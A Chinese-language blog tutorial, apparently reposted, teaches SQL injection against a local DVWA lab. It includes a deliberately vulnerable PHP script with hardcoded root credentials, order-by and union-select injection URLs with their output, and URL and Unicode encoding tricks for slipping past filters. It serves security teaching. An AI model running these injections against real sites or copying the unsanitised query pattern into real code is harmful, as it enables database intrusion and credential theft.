SQL注入语法
Posted 渗透云笔记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入语法相关的知识,希望对你有一定的参考价值。
SQL注入语法
本文案例中
我用的是DVWA不会安装的,查看以前的文章吧,或者百度
基本数据库语句介绍;
and ,or语句;判断是否与数据库交互,前文讲过
order by语句;判断数据库字段数一个多少
一些常用的函数;
version()---mysql版本;
user()----用户名
database----数据库名
@@datadir----数据库路径
@@version_comple_os-----操作系统版本
User()-----查看用户
database()---查看数据库名称
version()---产看数据库版本
system_user()------系统用户名
session_user()---连接数据库的用户名
测试源码
<?php
$user_id = $_GET['user_id'];
$dbuser = "root";
$dbpwd="root";
$db ="dvwa";
$conn = mysql_connect("localhost",$dbuser,$dbpwd) or dir("error");
mysql_select_db($db,$conn);
$query ="select * from users where user_id=$user_id";
$result=mysql_query($query)or die(mysql_error());
print_r(mysql_fetch_array($result));
?>
orday by判断列数
游览器
http://127.0.0.1/test05.php?user_id=1 order by 20
返回,表示咱们猜测的列数大于实际列数
Unknown column '20' in 'order clause'
order by10看一下是否大于10
游览器
http://127.0.0.1/test05.php?user_id=1 order by 10
返回,还是大,直接小一点看下
Unknown column '10' in 'order clause'
游览器
http://127.0.0.1/test05.php?user_id=1 order by 6
返回
Array ( [0] => 1 [user_id] => 1 [1] => admin [first_name] => admin [2] => admin [last_name] => admin [3] => admin [user] => admin [4] => 5f4dcc3b5aa765d61d8327deb882cf99 [password] => 5f4dcc3b5aa765d61d8327deb882cf99 [5] => /hackable/users/admin.jpg [avatar] => /hackable/users/admin.jpg [6] => 2019-07-09 00:21:18 [last_login] => 2019-07-09 00:21:18 [7] => 0 [failed_login] => 0 )
返回正常,说明其表内字段数为6也就是6列
同学们可以自行尝试下
当得知几列时,我们常常配合union联合查询字段数
http://127.0.0.1/test05.php?user_id=1 union select 1,2,3,4,5,6,7,8
字段数为8,我为了好辨识用的数字,我建议用null,来代表数字进行测试,因为数字的兼容性不高,容易出现异常
http://127.0.0.1/test05.php?user_id=1 union select null,null,null,null,null,null,null,null
这两方法的意义相同,都返回
Array ( [0] => 1 [user_id] => 1 [1] => admin [first_name] => admin [2] => admin [last_name] => admin [3] => admin [user] => admin [4] => 5f4dcc3b5aa765d61d8327deb882cf99 [password] => 5f4dcc3b5aa765d61d8327deb882cf99 [5] => /hackable/users/admin.jpg [avatar] => /hackable/users/admin.jpg [6] => 2019-07-09 00:21:18 [last_login] => 2019-07-09 00:21:18 [7] => 0 [failed_login] => 0 )
从代码层次来讲,我们在做白盒审计时,去查找数据库中存在的一些关键字如select from,mysql_connect, mysql_query,mysql_fetch_row也可以去查看我们所提到的,update,insert,delect
mysql_connect() 函数打开非持久的 MySQL 连接。
语法为
mysql_connect(server,user,pwd,newlink,clientflag)
在上面的实例也有用到哦
$conn = mysql_connect("localhost",$dbuser,$dbpwd) or dir("error");
再其语法中几个点需要记住
user为可选项,指用户名
$dbuser = "root";
pwd可选指密码
$dbpwd="root";
mysql_query() 函数执行一条 MySQL 查询。
$query ="select * from users where user_id=$user_id";
$result=mysql_query($query)or die(mysql_error());
mysql_fetch_row() 函数从结果集中取得一行作为数字数组。
语法
mysql_fetch_row(data)
其中的data是必需。要使用的数据指针。该数据指针是从 mysql_query() 返回的结果。
常见的两种编码绕过姿势如
URL编码
Unicode编码
从上面拿个例子,懒得写了
http://127.0.0.1/test05.php?user_id=1 union select 1,2,3,4,5,6,7,8
URL编码为
http://127.0.0.1/test05.php?user_id=1+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8
Unicode编码为
http://127.0.0.1/test05.php?user_id=1 union select 1,2,3,4,5,6,7,8
其两者都会显示
Array ( [0] => 1 [user_id] => 1 [1] => admin [first_name] => admin [2] => admin [last_name] => admin [3] => admin [user] => admin [4] => 5f4dcc3b5aa765d61d8327deb882cf99 [password] => 5f4dcc3b5aa765d61d8327deb882cf99 [5] => /hackable/users/admin.jpg [avatar] => /hackable/users/admin.jpg [6] => 2019-07-09 00:21:18 [last_login] => 2019-07-09 00:21:18 [7] => 0 [failed_login] => 0 )
就是说他把你的一些字符给转义了,你编码一下,没准可以绕过,照常注入。
说到编码,这就引入了下一章的概念《编码注入》咱明天见
本章知识点回顾
基本数据库语句介绍与常见函数
orday by判断列数
union联合查询
白盒审计时要注意得SQL函数
两种绕过姿势
问题排查;
我是在没安装dvwa就开始操作,所以会有一些小笑话,文中我用的就是dvwa的数据库,偷懒了,所以在复现跟着这篇文章的时候可以先安装下dvwa在前期文中里出现过。
顺便可以保存文中的测试代码为test05来进行测试哦,源码来自米安网的课程。又偷懒了。
顺便求个打赏,以后文章这种格式出了,尽量写得明白些。
前文问题
前文《预热SQL注入》出现了一个小错误,这里做出更改,我们在做注释的时候有好几种,上文中用的注释方法为“--”在这个后面要跟一个或多个空格,否则不起作用
以上是关于SQL注入语法的主要内容,如果未能解决你的问题,请参考以下文章